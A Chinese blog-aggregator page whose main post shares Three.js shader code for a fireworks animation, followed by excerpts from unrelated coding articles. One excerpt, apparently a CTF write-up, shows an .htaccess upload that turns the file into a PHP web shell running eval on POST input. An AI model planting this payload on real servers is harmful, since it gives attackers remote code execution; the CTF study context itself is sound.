当前位置：首页 > news >正文

threejs实现烟花效果

news 来源：原创 2025/7/1 23:09:59

大家好！我是 [数擎 AI]，一位热爱探索新技术的前端开发者，在这里分享前端和 Web3D、AI 技术的干货与实战经验。如果你对技术有热情，欢迎关注我的文章，我们一起成长、进步！
开发领域：前端开发 | AI 应用 | Web3D | 元宇宙
技术栈：JavaScript、React、ThreeJs、WebGL、Go
经验经验：6 年+ 前端开发经验，专注于图形渲染和 AI 技术

找工作，就上智简未来

又是一年岁末，又是辞旧迎新的时刻。寒冬虽冷，但人们心中的那份期待和喜悦，让整个世界变得格外温暖。烟花，作为新年的象征之一，总是在夜空中为我们带来光彩夺目的祝福。

用代码点亮新年

今年，我尝试用代码模拟烟花绽放的画面，融入一些对新年的期待与祝福。烟花不仅是视觉上的震撼，它也能在技术中被表现得充满活力与艺术感。以下是一段基于 Three.js 的烟花效果代码片段，送给所有热爱编程的人们：

import * as THREE from 'three';// Vertex Shader
const vertexShader = `
varying vec2 vUv;void main() {vUv = uv;gl_Position = projectionMatrix * modelViewMatrix * vec4(position, 1.0);
}
`;// Fragment Shader
const fragmentShader = `
#define PI      3.141592653589793
#define TWO_PI   6.283185307179586uniform float iTime;
uniform vec2 iResolution;varying vec2 vUv;float star5SDF(vec2 p, float r, float m) {const vec2 k1 = vec2(0.809016994375, -0.587785252292);const vec2 k2 = vec2(-k1.x, k1.y);p.x = abs(p.x);p -= 2.0 * max(dot(k1, p), 0.0) * k1;p -= 2.0 * max(dot(k2, p), 0.0) * k2;p.x = abs(p.x);p.y -= r;vec2 ab = m * vec2(-k1.y, k1.x) - vec2(0, r);float h = clamp(dot(p, ab) / dot(ab, ab), 0.0, 1.0);return length(p - ab * h) * sign(p.y * ab.x - p.x * ab.y);
}float hash1(float p) {p = fract(p * .1031 * 9811.164); p *= p + 33.33; p *= p + p;return fract(p);
}vec2 hash21(float p) {vec3 p3 = fract(vec3(p) * vec3(.1031, .1030, .0973) * 1023.468);p3 += dot(p3, p3.yzx + 33.33);return fract((p3.xx + p3.yz) * p3.zy);
}vec3 colorRibbon(float t) {return abs(mod(vec3(0., 1., 2.) / 3.0 + t, 1.0) - 0.5) * 4.0 - 0.5;
}vec2 getHeartPosition(float t) {return vec2(16.0 * sin(t) * sin(t) * sin(t),-(13.0 * cos(t) - 5.0 * cos(2.0 * t) - 2.0 * cos(3.0 * t) - cos(4.0 * t)));
}void main() {float t = iTime * 0.50;vec2 uv = vUv * 2.0 - 1.0;uv.x *= iResolution.x / iResolution.y;vec3 color = vec3(0.0);const float jmax = 10.0;const float imax = 20.0;for (float j = 0.0; j < jmax; j++) {float ja = j / jmax;t -= hash1(ja * 33.669);float t1 = floor(t);float t1f = fract(t);float t2fa = min(0.3, t1f) / 0.3;float t2fb = max(t1f * (step(0.3, t1f)) - 0.3, 0.0) / 0.7;float flasht = t2fb * (step(0.1, t2fb) - step(0.0, t2fb)) * 10.0;vec2 layer1_pos = hash21(t1 * j);vec3 col = colorRibbon(hash1(layer1_pos.y));for (float i = 0.0; i < imax; i++) {float ia = i / imax;vec2 layer2_pos = getHeartPosition(ia * TWO_PI) * t2fb * -0.028;layer2_pos -= vec2(1.0 - layer1_pos.x * 2.0,1.0 - max(layer1_pos.y + 0.75, 0.75) * t2fa);float blink = step(1.0, mod(i, 2.0));float sdf = star5SDF(uv - layer2_pos, 0.05, 0.09) + 0.05;color += col * smoothstep(-0.016,flasht * 3.6 + 4.5 + sin(t2fb * 30.0) * blink,(0.02 / sdf));}}gl_FragColor = vec4(color, 1.0);
}
`;// Three.js Scene Setup
const scene = new THREE.Scene();
const camera = new THREE.PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000);
camera.position.z = 2;const renderer = new THREE.WebGLRenderer();
renderer.setSize(window.innerWidth, window.innerHeight);
document.body.appendChild(renderer.domElement);// Uniforms
const uniforms = {iTime: { value: 0.0 },iResolution: { value: new THREE.Vector2(window.innerWidth, window.innerHeight) },
};// Shader Material
const material = new THREE.ShaderMaterial({uniforms: uniforms,vertexShader: vertexShader,fragmentShader: fragmentShader,
});const geometry = new THREE.PlaneGeometry(2, 2);
const plane = new THREE.Mesh(geometry, material);
scene.add(plane);// Animation Loop
function animate() {uniforms.iTime.value += 0.01;renderer.render(scene, camera);requestAnimationFrame(animate);
}// Resize Listener
window.addEventListener('resize', () => {renderer.setSize(window.innerWidth, window.innerHeight);uniforms.iResolution.value.set(window.innerWidth, window.innerHeight);camera.aspect = window.innerWidth / window.innerHeight;camera.updateProjectionMatrix();
});animate();

在这段代码中，烟花的效果随着时间流逝不断变化，绽放出丰富的色彩，就像我们对未来的期待一样，无限可能。

对你的新年祝福

烟花再美，最重要的还是与亲人、朋友一同分享的瞬间。新年是回顾过往、展望未来的时刻。愿你在新的一年里：

身体健康，平安喜乐。
工作顺利，勇敢追梦。
家庭幸福，爱与温暖常伴。
无论过去一年经历了什么，愿烟花的绽放点亮你的内心，也点燃你的希望。新年快乐，愿你拥有一个充满惊喜和幸福的 2025 年！

threejs实现烟花效果

大家好！我是 [数擎 AI]，一位热爱探索新技术的前端开发者，在这里分享前端和 Web3D、AI 技术的干货与实战经验。如果你对技术有热情，欢迎关注我的文章，我们一起成长、进步！ 开发领域：前端开发 | A…...

编程日记 2025/7/1 23:09:59

23【进制的理解】

很多人可能听过计算机的最底层是2进制执行，但是原理并不知道，我们今天先不讨论那么复杂的问题，先讨论什么是进制 1910，10并不是1个字符，而是2个字符，也就是说在10进制里面没有“10”这个字符，1…...

编程日记 2025/6/29 19:40:17

VMware 和本机(Win10)安装共享文件

1. 安装VM-tools, sudo apt-get install open-vm-tools-desktop -y 2. VMware->设置-> 选项中启动共享文件夹. 3. 本机设置共享文件夹(文件目录为data)，右键属性设置: VMware， Other Locations->Computer->mnt->data 即可。 ps: 还有个…...

编程日记 2025/7/1 23:06:30

整数转罗马数字

hello 大家好！今天开写一个新章节，每一天一道算法题。让我们一起来学习算法思维吧！ function intToRoman(num) {// 定义罗马数字符号和对应的整数值，按照从大到小的顺序排列const values [1000, 900, 500, 400, 100, 90, 50, 40,…...

编程日记 2025/7/1 20:35:17

数据结构--树

树的基本概念树：一个或多个节点的有限集合。存在一个称为根的特定节点，其余的节点被分为n个互不相交的集合T1，T2，…，Tn，其中的每一个集合都是一棵树。T1，T2，…，Tn称为根…...

编程日记 2025/7/1 23:09:00

Next.js 14 TS 中使用jwt 和 App Router 进行管理

jwt是一个很基础的工作。但是因为架构不一样，就算是相同的架构，版本不一样，加jwt都会有一定的差别。现在我们的项目是Next.js 14 TS 的 App Router项目（就是没有pages那种），添加jwt的步骤： 1、…...

编程日记 2025/6/30 23:58:40

oracle 分区表介绍

oracle 分区表介绍 Oracle 分区表是一个非常强大的数据库功能，可以将一个大的表分割成多个更小、更易管理的块（分区）。这种分区结构在处理大规模数据时非常有用，因为它能改善性能、简化维护和管理，并支持高效的数据存取…...

编程日记 2025/6/28 6:46:39

TypeScript 学习 -类型 - 9

声明合并成员变量合并：成员变量会合并，但类型必须一致。成员函数合并：如果函数签名不同，合并后的函数会是签名的联合类型。接口声明顺序：在同一个接口内按顺序合并；不同接口时，后声明的会覆盖…...

编程日记 2025/7/1 4:42:00

996引擎 - 前期准备-配置开发环境

996引擎 - 前期准备官网搭建服务端、客户端单机搭建开发环境配置后端开发环境配置环境前端开发环境配置环境后端简介前端简介GUILayoutGUIExport官网 996传奇引擎官网所有资料从官网首页开始，多探索。文档： 996M2-服务端Lua 996M2-客户端Lua 搭建服务端、客户端这个教…...

编程日记 2025/7/1 22:33:21

python-decouple和 django-environ管理 Python/Django 项目中的环境变量

在现代软件开发中，环境变量的管理是一个至关重要的任务。环境变量通常用于存储敏感信息（如 API 密钥、数据库凭据）或配置信息（如调试模式、日志级别）。为了更安全、更方便地管理环境变量，Python 社区提供了许多工具，其中最流行的两个是 python-decouple 和 django-envir…...

编程日记 2025/7/1 22:54:10

FileReader使用

FileReader : 读取文件内容的api，，，在前端处理上传的文件，，比如预览图片 readAsDataURL(file) ： 读取为base64编码的 data urlreadAsText() ： 读取为文本readAsArrayBuffer() : 读取为二进制 …...

编程日记 2025/6/28 5:00:44

npm cnpm pnpm npx yarn的区别

npm、cnpm、pnpm、npx、yarn 这几个工具都与 Node.js 项目的包管理和命令执行相关，它们的区别具体如下： 本质与功能定位 npm：是 Node.js 官方的包管理工具，提供了安装、卸载、更新、发布等全方位的包管理功能，还能通…...

编程日记 2025/6/28 4:53:39

knots = unique(knots, ‘stable‘)；区别引用

【问题】knots unique(knots, stable); 和unique_knots unique(knots(2:end-1)); knots(2:end-1) unique_knots; 的区别【解释】knots unique(knots, stable); 和 unique_knots unique(knots(2:end-1)); knots(2:end-1) unique_knots; 两段代码的主要区别在于它们处理重…...

编程日记 2025/7/1 5:36:04

c++ 定点 new

（1） 代码距离： #include <new> // 需要包含这个头文件 #include <iostream>int main() {char buffer[sizeof(int)]; // 分配一个足够大的字符数组作为内存池int* p new(&buffer) int(42); // 使用 placement new…...

编程日记 2025/7/1 10:50:29

无人机如何自主侦察？UEAVAD：基于视觉的无人机主动目标探测与导航数据集

作者：Xinhua Jiang, Tianpeng Liu, Li Liu, Zhen Liu, and Yongxiang Liu 单位：国防科技大学电子科学学院论文标题：UEVAVD: A Dataset for Developing UAV’s Eye View Active Object Detection 论文链接：https://arxiv.org/p…...

编程日记 2025/6/30 12:19:43

怎样在PPT中启用演讲者视图功能？

怎样在PPT中启用演讲者视图功能？ 如果你曾经参加过重要的会议或者演讲，你就会知道，演讲者视图（Presenter View）对PPT展示至关重要。它不仅能帮助演讲者更好地掌控演讲节奏，还能提供额外的提示和支持&#…...

编程日记 2025/6/30 3:54:13

大语言模型LLM在地理信息GIS中应用场景

AI&地理 AI大语言模型在地理中的应用主要体现在以下几个方面： 一、地理信息检索与查询 AI大语言模型能够理解复杂的自然语言查询，包括地名、地理位置、地理特征等，从而提供更加精准的地理信息检索服务。例如，用户可以通过自…...

编程日记 2025/6/30 17:10:20

AI常见的算法

人工智能（AI）中常见的算法分为多个领域，如机器学习、深度学习、强化学习、自然语言处理和计算机视觉等。以下是一些常见的算法及其用途： 1. 机器学习 (Machine Learning) 监督学习 (Supervised Learning) 线性回归 (Linear Regr…...

编程日记 2025/6/30 16:10:11

借DeepSeek-R1东风，开启创业新机遇

DeepSeek-R1的崛起 DeepSeek-R1的推出引发了广泛关注，在AI领域引起了一阵旋风。作为新一代的智能模型，它在多项任务中表现出了卓越的能力。普通人可以借助这个强大的工具，开启属于自己的创业之路，抓住时代带来的机遇。内容创作…...

编程日记 2025/6/30 6:05:50

知识库建设对提升团队协作与创新能力的影响分析

内容概要在当今快速变革的商业环境中，知识库建设的重要性愈发凸显。它不仅是信息存储的载体，更是推动组织内部沟通与协作的基石。通过系统整理与管理企业知识，团队成员能够便捷地访问相关信息，使得协作过程更为流畅，…...

编程日记 2025/6/30 9:11:40

Mongodb 慢查询日志分析 - 1

Mongodb 慢查询日志分析使用 mloginfo 处理过的日志会在控制台输出, 显示还是比较友好的. 但是如果内容较大, 就不方便查看了, 如果可以导入到 excel 就比较方便筛选/排序. 但是 mloginfo 并没有提供生成到 excel 的功能. 可以通过一个 python 脚本辅助生成: import pandas…...

编程日记 2025/6/28 0:19:36

fps一些内容添加

1 增强输入要点记录输入 ：输入值的类型布尔 1d，2d，3d 映射：就是确定按键输入键位，输入类型，和一些触发器（按键方式）修改器（对输出值进行修改） 基本的&am…...

编程日记 2025/7/1 1:09:26

从单体应用到微服务的迁移过程

目录 1. 理解单体应用与微服务架构2. 微服务架构的优势3. 迁移的步骤步骤 1：评估当前单体应用步骤 2：确定服务边界步骤 3：逐步拆分单体应用步骤 4：微服务的基础设施和工具步骤 5：管理和优化微服务步骤 6：逐…...

编程日记 2025/7/1 22:38:56

计算机视觉-卷积

卷积-图像去噪一、图像二进制灰度彩色 1.1二进制图像 0 1 一个点可以用一个bit（0/1）来表示 1.2灰度图像 0-255 一个点可以用一个byte来表示 1.3彩色图像 RGB 表达一个彩色图像先说它的分辨率p/w（宽）和q/h（高…...

编程日记 2025/6/27 17:50:04

Sprintboot原理

配置优先级 Springboot中支持的三种配置文件： application.propertiesapplication.ymlapplication.yaml java系统属性：-Dxxxxxx 命令行参数：-xxxxxx 优先级：命令行参数>java系统属性>application.properties>applicat…...

编程日记 2025/7/1 20:26:27

2007-2020年各省国内专利申请授权量数据

2007-2020年各省国内专利申请授权量数据 1、时间：2007-2020年 2、来源：国家统计局、统计年鉴 3、指标：行政区划代码、地区名称、年份、国内专利申请授权量(项) 4、范围：31省 5、指标解释：专利是专利权的简称&…...

编程日记 2025/6/28 0:19:46

SpringBoot或SpringAI对接DeekSeek大模型

今日除夕夜，deepseek可是出尽了风头，但是我看网上还没有这方面的内容对接，官网也并没有，故而本次对接是为了完成这个空缺我看很多的博客内容是流式请求虽然返回时正常的，但是他并不是实时返回，而是全部响应…...

编程日记 2025/7/1 23:00:57

MV结构下设置Qt表格的代理

目录预备知识模型关联刷新示例代理模型界面结果完整资料见： 所谓MV结构，是“model-view”（模型-视图）的简称。也就是说，表格的数据保存在model中，而视图由view实现。在我前面的很多博客…...

编程日记 2025/7/1 22:40:49

C++：多继承习题2

题目内容： 分别声明Teacher类和Cadre类，采用多重继承派生出新类Teacher_Dadre。要求： （1）在两个基类中都包含姓名、年龄、性别、地址和电话。 （2）在Teacher类中包含title数据成员，Ca…...

编程日记 2025/7/1 22:44:43

DeepSeek--通向通用人工智能的深度探索者

一、词源与全称 “DeepSeek"由"Deep”（深度）与"Seek"（探索）组合而成，中文译名为"深度求索"。其全称为"深度求索人工智能基础技术研究有限公司"，英文对应"De…...

编程日记 2025/6/28 0:20:03

Spring MVC中HandlerInterceptor和Filter的区别

目录一、处理阶段二、功能范围三、参数访问四、配置方式五、使用场景说明在Spring MVC中，HandlerInterceptor和Filter都是用于拦截请求的重要组件，但它们在多个方面存在显著的差异。本文将详细解析这两种拦截机制的区别，并结合使用…...

编程日记 2025/7/1 8:05:51

Linux 部署 Java 项目：Tomcat、Redis、MySQL 教程

在 Linux 服务器上部署 Java 项目通常需要配置应用服务器（如 Tomcat）、数据库（如 MySQL）和缓存服务器（如 Redis）。本文将详细介绍如何在 Linux 环境中部署一个 Java 项目，涵盖 Tomcat、Redis 和…...

编程日记 2025/6/30 1:39:13

C语言------数组从入门到精通

1.一维数组目标:通过思维导图了解学习一维数组的核心知识点: 1.1定义使用类型名数组名[数组长度]; 定义数组。 // 示例： int arr[5]; 1.2一维数组初始化数组的初始化可以分为静态初始化和动态初始化两种方式。它们的主要区别在于初始化的时机和内存分配的方…...

编程日记 2025/6/29 5:18:24

工作总结：git篇

文章目录前言基础Gerrit1.克隆2.新建本地分支和checkout3.添加到暂存区新增文件到暂存区修改已经添加到暂存区的文件取消添加到暂存区的文件 4.提交到本地仓库在不重复提交的情况下，修改本次提交 5.提交到远程仓库6.评审其他辅助命令前言目前也算是工作一段时间…...

编程日记 2025/7/1 19:52:22

2024年终总结——今年是蜕变的一年

2024年终总结摘要前因转折找工作工作的成长人生的意义摘要 2024我从国企出来，兜兜转转还是去了北京，一边是工资低、感情受挫，一边是压力大、项目经历少，让我一度找不到自己梦寐以求的工作，我投了一家又一家&#xff…...

编程日记 2025/6/29 20:10:55

Linux环境基础开发工具的使用(apt, vim, gcc, g++, gbd, make/Makefile)

什么是软件包在Linux下安装软件, 一个通常的办法是下载到程序的源代码, 并进行编译, 得到可执行程序. 但是这样太麻烦了, 于是有些人把一些常用的软件提前编译好, 做成软件包(可以理解成windows上的安装程序)放在一个服务器上, 通过包管理器可以很方便的获取到这个编译好的…...

编程日记 2025/7/1 22:55:10

宫本茂的游戏设计思想:有趣与风格化

作为独立游戏开发者之一，看到任天堂宫本茂20年前的言论后，深感认同。游戏研发思想，与企业战略是互为表里的，游戏是企业战略的具体战术体现，虚空理念的有形载体。任天堂长盛不衰的关键就是靠简单有趣的游戏&#xf…...

编程日记 2025/7/1 22:49:02

[JMCTF 2021]UploadHub

题目上传.htaccess就是修改配置文件 <FilesMatch .htaccess> SetHandler application/x-httpd-php Require all granted php_flag engine on </FilesMatch>php_value auto_prepend_file .htaccess #<?php eval($_POST[md]);?>SetHandler和ForceType …...

编程日记 2025/7/1 11:24:30

树和图的实现与应用：C语言实践详解

树和图的实现与应用：C语言实践详解树和图是两种重要的非线性数据结构，在计算机科学中有着广泛的应用。从基本的二叉树到复杂的图算法（如最短路径和最小生成树），这些结构能够帮助我们高效解决实际问题。本文将从基础出发，逐步深入，讲解如何用C语言实现树和图，并探讨其…...

编程日记 2025/6/30 7:22:12

DeepSeek助力学术文献搜索！

搜集文献宝子们如果是第一次发表学术论文，论文往往是会署名多个作者。在这种情况下，即便成功发表了论文，独立撰作或主导写作的挑战仍旧存在。那么，怎样才能独立地完成一篇属于自己的学术论文呢？对于初次尝试学术论文…...

编程日记 2025/7/1 7:50:55

新项目上传gitlab

Git global setup git config --global user.name “FUFANGYU” git config --global user.email “fyfucnic.cn” Create a new repository git clone gitgit.dev.arp.cn:casDs/sawrd.git cd sawrd touch README.md git add README.md git commit -m “add README” git push…...

编程日记 2025/6/28 5:15:19

用代码点亮新年

对你的新年祝福

相关文章：